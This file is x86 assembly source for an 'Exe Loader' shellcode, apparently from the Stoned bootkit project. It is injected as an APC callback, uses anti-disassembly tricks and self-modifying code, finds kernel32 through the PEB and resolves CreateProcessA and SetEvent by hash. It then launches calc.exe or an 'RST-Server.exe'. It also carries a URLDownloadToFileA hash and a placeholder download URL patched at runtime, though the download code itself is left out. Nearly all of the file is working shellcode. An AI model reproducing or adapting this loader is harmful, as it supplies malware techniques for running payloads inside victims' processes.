
; shellcode for Exe Loader

; software by Insecurity Systems InSec e.U.
; published under the European Union Public License

; developed by Peter Kleissner
; 12.10.2009 03:24:08

[bits 32]

%macro HASH 1.nolist
; hash generation algorithm (hash = hash rotate left 7 ^ char)
	%assign i 1			; i = 1
	%assign h 0			; h = 0
	%strlen len %1			; len = strlen(%2)
	%rep len
		%substr char %1 i	; fetch next character
		%assign h   (((h << 7) & 0xFFFFFF80) + ((h >> (32-7) ) & 0x7F)) ^ char
		%assign i i+1		; increment i
	%endrep
	dd h				; only hash
%endmacro


; VOID CALLBACK APCProc(
;   __in  ULONG_PTR dwParam
; );

; dwParam = Shellcode Control Block
;  + 00h    Executed Application (will be mapped to ASCII name)
;             0 = calc.exe
;             1 = RST
;  + 04h    Event to set when finished
;  + 08h    Imports Resolved

; Warning! This code is self-modifying and each instance requires the same SCB.

pushad
nop
nop
nop
nop
nop
nop
nop


; simple anti-disassembler code
%ifndef _DEBUG
call Minus1 -1
Minus1:
db 0C1h                                                                         ; jump to -1 -> opcode FFh = dec ecx (correction)
%else
call Minus1
Minus1:
%endif

pop ebp                                                                         ; will be used as reference

nop



; handle the control block
mov ebx,[esp + 8*4 + 4]                                                         ; pointer to the Shellcode Control Block

; set the correct executable to start
lea esi,[ebp + Execution_List_Program_2 - Minus1]                               ; put application path of second program into esi
cmp dword [ebx],dword 0                                                         ; calc.exe?
je Load_Executable_Verified

lea esi,[ebp + Execution_List_Program_1 - Minus1]                               ; put application path of first program into esi
cmp dword [ebx],dword 1                                                         ; RST-Server?
je Load_Executable_Verified

jmp Exit_Shellcode

Load_Executable_Verified:
mov [ebx],esi                                                                   ; update the file identifier with the ASCII pointer



; check if the imports are already resolved
mov ebx,[esp + 8*4 + 4]                                                         ; pointer to the Shellcode Control Block
cmp dword [ebx + 8],dword 0
jne Imports_Resolved

; resolve imports (use LDR structure to get the base of kernel32.dll)
mov eax,[fs:30h]                                                                ; eax = Process Environment Block Address (TIB + 30h)
mov eax,[eax+0Ch]                                                               ; PEB_LDR_DATA
mov eax,[eax+1Ch]                                                               ; PEB_LDR_DATA.InInitializationOrderModuleList
mov eax,[eax]                                                                   ; double linked list (take forward link to LDR_DATA_TABLE_ENTRY of LDR_MODULE structure)
mov ebx,[eax+8]                                                                 ; DllBase (Module Base Address)

; resolve the imports
lea edi,[ebp + Data_Start - Minus1]                                             ; use edi in the loop to point to the imports

Resolve_Imports_Loop:
mov eax,[edi]                                                                   ; get the next hash
call Resolve_Import
stosd                                                                           ; overwrite the hash with the function address

or eax,eax                                                                      ; exit if function pointer is invalid
jz Exit_Shellcode

cmp dword [edi],dword 0                                                         ; last import to resolve?
jne Resolve_Imports_Loop                                                        ; if not -> next import

; set the imports as resolved
mov ebx,[esp + 8*4 + 4]                                                         ; pointer to the Shellcode Control Block
mov dword [ebx + 8],dword 1

Imports_Resolved:
lea esi,[ebp + Data_Start - Minus1]                                             ; use esi as reference to the imports


%ifdef Download_And_Store
; [not in public release]
%endif



; Kernel32!OutputDebugString("Starting application...");
%ifdef _DEBUG
lea eax,[ebp + Debug_Message_1 - Minus1]
push eax
call dword [esi + 4*3]                                                          ; OutputDebugString()
%endif



; Kernel32!CreateProcess("...", NULL, NULL, NULL, TRUE, NORMAL_PRIORITY_CLASS, NULL, NULL, &StartupInfo, &ProcessInformation);
sub esp,4*4                                                                     ; allocate PROCESS_INFORMATION structure
mov ebx,esp
sub esp,17*4                                                                    ; allocate STARTUPINFO structure
mov edi,esp

push ebx                                                                        ;   LPPROCESS_INFORMATION lpProcessInformation
push edi                                                                        ;   LPSTARTUPINFO lpStartupInfo

mov eax,17*4                                                                    ; set STARTUPINFO.cb (initialize the structure)
stosd
mov ecx,17-1                                                                    ; zero out the rest of STARTUPINFO
xor eax,eax
rep stosd

mov eax,[esp + 2*4 + 17*4 + 4*4  + 8*4 + 4]                                     ; Shellcode Control Block (will be used for referencing the file name)

push dword 0                                                                    ;   LPCTSTR lpCurrentDirectory
push dword 0                                                                    ;   LPVOID lpEnvironment
push dword 0                                                                    ;   DWORD dwCreationFlags
push dword 0                                                                    ;   BOOL bInheritHandles
push dword 0                                                                    ;   LPSECURITY_ATTRIBUTES lpThreadAttributes
push dword 0                                                                    ;   LPSECURITY_ATTRIBUTES lpProcessAttributes
push dword 0                                                                    ;   LPTSTR lpCommandLine
push dword [eax]                                                                ;   LPCTSTR lpApplicationName
call dword [esi + 4*0]                                                          ; CreateProcess()

; remove the variables (STARTUPINFO and PROCESS_INFORMATION)
add esp,17*4 + 4*4



; Kernel32!OutputDebugString("Application started successfully.");
; Kernel32!OutputDebugString("Failed to start the application.");
%ifdef _DEBUG
or eax,eax                                                                      ; error in CreateProcess?
jz ErrorCreateProcess

; successful
lea eax,[ebp + Debug_Message_2 - Minus1]
push eax
call dword [esi + 4*3]                                                          ; OutputDebugString()
jmp ErrorHandled

ErrorCreateProcess:

; error
lea eax,[ebp + Debug_Message_3 - Minus1]
push eax
call dword [esi + 4*3]                                                          ; OutputDebugString()

ErrorHandled:
%endif



; Kernel32!SetEvent(SCB.Event);
mov ebx,[esp + 8*4 + 4]                                                         ; pointer to the Shellcode Control Block
push dword [ebx + 4]                                                            ; SCB.Event
call dword [esi + 4*1]                                                          ; SetEvent



Exit_Shellcode:

xor eax,eax
nop
nop

popad

ret 4                                                                           ; remove 1 parameter




Resolve_Import:

; Input:
;   eax = hash
;   ebx = Module Base
; Output:
;   eax = function address
;   esi will be updated

; store ecx and esi (will be modified)
push ecx
push esi
push ebp

xchg eax,ebp                                                                    ; store the to compare hash in ebp
mov ecx,[ebx+3Ch]                                                               ; -> PE Header (skip DOS Header/Stub)
mov ecx,[ebx+ecx+78h]                                                           ; -> Export Table
add ecx,ebx                                                                     ;  (absolute address)
xor esi,esi                                                                     ; will count function number

Next_Function:
lea edx,[ebx+esi*4]                                                             ; Module Base + Function Offset in Name Table
add edx,[ecx+20h]                                                               ; Export Directory Table.Name Pointer RVA
mov edx,[edx]                                                                   ; edx = Function Name Pointer
add edx,ebx                                                                     ;  (absolute address)
xor eax,eax                                                                     ; initial value for hash

Generate_Hash_Next_Character:
rol eax,7                                                                       ; hash generation algorithm (hash = hash rotate left 7 ^ char)
xor al,[edx]
inc edx                                                                         ; next character
cmp [edx],byte 0                                                                ; last character? (check zero termination)
jnz Generate_Hash_Next_Character

cmp eax,ebp                                                                     ; compare to-find hash with calculated
jz Export_Found
inc esi                                                                         ; next function
cmp esi,[ecx+24]                                                                ; compare against Export Directory Table.Number of Name Pointers
jb Next_Function                                                                ; next function if available

; otherwise return with null
xor eax,eax
jmp Exit_Resolve_Import

Export_Found:
mov edx,[ecx+36]                                                                ; get ordinal number (via Ordinal Table RVA)
add edx,ebx                                                                     ;  (absolute address)
movzx edx,word [edx+esi*2]                                                      ; look up the ordinal number (which is word value)
mov eax,[ecx+1Ch]                                                               ; address of Export Address Table RVA
add eax,ebx                                                                     ;  (absolute address)
mov eax,[eax+edx*4]                                                             ; get relative function address
add eax,ebx                                                                     ;  => absolute function address, return in eax

Exit_Resolve_Import:

; restore registers & return
pop ebp
pop esi
pop ecx

ret



Data_Start:


; import name hashes (Kernel32)
HASH 'CreateProcessA'                                 ; kernel32!CreateProcess()      [esi + 4*0]
HASH 'SetEvent'                                       ; kernel32!SetEvent()           [esi + 4*1]
%ifdef _DEBUG
HASH 'GetLastError'                                   ; kernel32!GetLastError()       [esi + 4*2]
HASH 'OutputDebugStringA'                             ; kernel32!OutputDebugString()  [esi + 4*3]
%endif
;HASH 'LoadLibraryA'
;HASH 'ExitProcess'
;HASH 'ExitThread'
dd    0                                               ; terminator

; urlmon.dll and its URLDownloadToFileA export
db    "urlmon", 0
dd    0D95D2399h                                      ; hash of "URLDownloadToFileA"
dd    0

; download url - patched dynamically to current IP:port/url
db    "http://xxx.xx.xxx.xxx:4725/htoqqgf", 0

; execution list
;   - C:\Stoned\RST-Server.exe
;   - C:\Windows\System32\calc.exe
Execution_List_Program_1:
db "C:\Stoned\RST-Server.exe", 0
Execution_List_Program_2:
db "C:\Windows\System32\calc.exe", 0

%ifdef _DEBUG
Debug_Message_1:
db "Starting application...", 0
Debug_Message_2:
db "Application started successfully.", 0
Debug_Message_3:
db "Failed to start the application.", 0
%endif
